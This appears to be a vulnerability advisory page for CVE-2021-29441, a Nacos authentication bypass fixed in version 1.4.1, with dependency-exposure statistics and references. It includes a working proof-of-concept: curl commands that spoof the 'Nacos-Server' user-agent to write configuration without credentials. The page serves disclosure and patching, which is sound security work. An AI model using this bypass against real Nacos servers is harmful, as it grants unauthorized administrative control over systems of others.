CVE-2021-29441
Authentication Bypass
Description
When configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed.
The following request to the configuration endpoint gets rejected as we are not providing any credentials:
❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}
However the following one gets accepted by using the Nacos-Server user-agent header:
❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true
Impact
This issue may allow any user to carry out any administrative tasks on the Nacos server.
Affected Maven artifacts (1)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| com.alibaba.nacos » nacos-common | < 1.4.1 | 1.4.1 |
Blast radius
54% of the dependent artifacts (229) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 47 |
| 2 hops | 970 |
| 3 hops | 1,482 |
| 4 hops | 846 |
| 5 hops | 704 |
| 6 hops | 231 |
Most used dependents
- com.alibaba.cloud » spring-cloud-starter-alibaba-nacos-discovery514 usages
- com.alibaba.nacos » nacos-client474 usages
- com.alibaba.cloud » spring-cloud-starter-alibaba-nacos-config400 usages
- com.alibaba.csp » sentinel-datasource-nacos118 usages
- org.noear » solon-cloud59 usages
- org.apache.dubbo » dubbo-registry-nacos56 usages
- io.seata » seata-all51 usages
- com.alibaba.boot » nacos-config-spring-boot-starter45 usages
- com.alibaba.nacos » nacos-spring-context41 usages
- org.apache.dubbo » dubbo-configcenter-nacos22 usages
- org.springframework.cloud » spring-cloud-starter-alibaba-nacos-discovery21 usages
- net.guerlab.smart.user » smart-user-auth16 usages
- com.alibaba.boot » nacos-discovery-spring-boot-starter16 usages
- org.apache.dubbo » dubbo-metadata-report-nacos14 usages
- com.fizzgate » fizz-spring-boot-starter14 usages
Computed from the dependency graph of build 20261127.1117 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
References
| Advisory | NVD CVE-2021-29441 | nvd.nist.gov |
| Advisory | GitHub advisory GHSA-36hp-jr8h-556f | github.com |
| Web | alibaba/nacos issue #4701 | github.com |
| Web | alibaba/nacos pull request #4703 | github.com |
